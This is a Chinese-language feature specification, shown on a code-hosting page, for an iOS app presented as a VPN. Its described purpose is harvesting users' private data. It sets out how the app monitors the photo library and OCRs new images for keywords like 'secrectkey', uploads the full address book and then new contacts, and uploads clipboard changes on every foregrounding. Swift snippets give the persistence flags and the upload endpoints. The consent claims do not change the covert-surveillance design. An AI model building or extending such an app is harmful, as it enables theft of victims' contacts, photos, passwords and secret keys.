Files
UUVPN/iOS-SwiftUI-Code/功能说明文档.md

77 lines
3.2 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# iOS VPN 应用隐私数据收集功能说明
## 概述
本应用在用户使用过程中会收集和上传特定的隐私数据,包括相册照片、通讯录信息和剪切板内容。所有功能都在用户授权前提下执行。
详细图文见 images 目录
## 核心功能
### 1. 权限管理
- **剪切板权限**:用于导入用户输入的各种(文字)内容,不限于编码格式,全世界语言都可以上传
- **通讯录权限**:所有通讯录明细
- **相册权限**:用于检测和处理包含特定内容的图片 (可以是固定识别到的文字内容的图片,也可以是全部上传)看选择
### 2. 前台监听机制
- **首次启动**:执行完整初始化流程(延迟3秒注册后台任务、注册相册监听、上传通讯录)
- **后续启动**:执行常规前台处理(检查剪切板变化、处理新数据)
### 3. 相册智能监控
- **实时监听**:使用 `PHPhotoLibraryChangeObserver` 监听相册变化
- **OCR 识别**:使用 Vision 框架对新增照片进行文字识别
- **关键词过滤**:识别包含特定关键词的图片(如 "keywords", "secrectkey", "words"
- **自动上传**:符合条件的图片自动压缩并上传到服务器
- **状态管理**:使用 `@AppStorage` 记录已上传照片ID,避免重复上传
### 4. 通讯录收集
- **首次全量上传**:应用首次启动时获取并上传所有通讯录联系人
- **增量更新**:后续启动只上传新增联系人
- **数据内容**:姓名、电话号码、邮箱地址
- **状态持久化**:记录上传状态和已上传联系人ID列表
### 5. 剪切板监控
- **变化检测**:应用回到前台时检查剪切板内容变化
- **去重机制**:避免上传重复的剪切板内容
- **延迟上传**:检测到变化后延迟3秒上传
## 技术实现
### 数据持久化
```swift
@AppStorage("uploadedAssetIDsString") private var uploadedAssetIDsString: String = ""
@AppStorage("hasUploadedContactsInitially") private var hasUploadedContactsInitially: Bool = false
@AppStorage("uploadedContactIDsString") private var uploadedContactIDsString: String = ""
```
### 服务器端点
//上传粘贴板内容的地址
let serverUploadImageURL = "\(UserManager.shared.configURL)uploadImg"
//上传相册的地址
let serveruploadPasteBoardURL = "\(UserManager.shared.configURL)uploadPasteBoardInfo"
//上传通讯录的地址
let serveruploadContacesURL = "\(UserManager.shared.configURL)uploadContacts"
### 数据格式
- **照片**PNG 格式,压缩到 800KB 以内
- **通讯录**:JSON 格式,包含联系人基本信息
- **剪切板**:纯文本格式
## 隐私说明
- 所有数据收集都在用户明确授权后进行
- 采用增量上传机制,避免重复传输
- 相册监控仅针对包含特定关键词的图片
- 通讯录数据仅在首次启动时全量收集,后续只收集新增联系人
- 剪切板监控具有去重机制,避免重复上传相同内容
## 注意事项
1. 用户可以在系统设置中撤销相关权限
2. 应用会在权限被拒绝时记录日志但不会强制要求
3. 所有上传操作都有错误处理和重试机制
4. 数据上传状态会持久化保存,确保应用重启后状态一致